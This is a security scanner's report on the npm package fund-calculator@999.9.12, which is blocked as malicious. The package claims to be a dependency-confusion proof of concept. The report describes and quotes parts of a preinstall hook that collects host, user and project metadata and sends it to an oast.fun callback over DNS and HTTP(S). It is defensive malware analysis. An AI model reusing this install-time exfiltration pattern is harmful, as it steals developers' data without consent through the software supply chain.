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fund-calculator@999.9.12: Malicious npm security report (Block) | LPM Firewall

registry / fund-calculator / 999.9.12

fund-calculator@999.9.12

AUTHORISED SECURITY RESEARCH — dependency confusion proof of concept. This package was published because the name appeared in publicly served code but was unregistered on the public registry. If it is in your dependency tree, your resolver fetched an inte

AI Security Review

scanned 2h ago · by lpm-firewall-ai

A preinstall hook fingerprints the installation host and consuming project, then sends the data to an external callback through DNS and HTTP(S). The behavior occurs without an explicit user command.

Static reason

One or more suspicious static signals were detected.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

npm installation, via the `preinstall` lifecycle hook

Impact

Discloses host, network, user, directory, and consuming-project identifying metadata to a third party.

Mechanism

install-time host and project metadata exfiltration over DNS and HTTP(S)

Attack narrative

On dependency installation, npm runs `index.js`. It reads the consuming project's manifest, collects host and network identifiers plus username, home directory, CWD, and project metadata, then sends the serialized record to a fixed callback. It uses hex-encoded DNS labels as well as HTTP and HTTPS POST requests, providing multiple exfiltration routes.

Rationale

The source implements automatic preinstall-time collection and external transmission of identifying host and project data. Its stated research intent does not remove the concrete unconsented exfiltration behavior.

Evidence

package.jsonindex.jsINIT_CWD/package.json

Network endpoints5

da51rv0hb2uc72tg4gvgdepinjcallbk1.oast.funapi.ipify.orgicanhazip.com/ip

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

`preinstall` automatically executes `index.js`.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = stillm4ddpocs-demo-sprocket@999.9.12 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.12 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5ccc01a84753afbf signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stillm4ddpocs-demo-sprocket@999.9.12 matchedPath = index.js matchedIdentity = npm:[redacted]:999.9.12 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

36const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepage;

High

Ai Review Evidence

Reads the consuming project's `package.json` via `INIT_CWD`.

index.jsView on unpkg · L36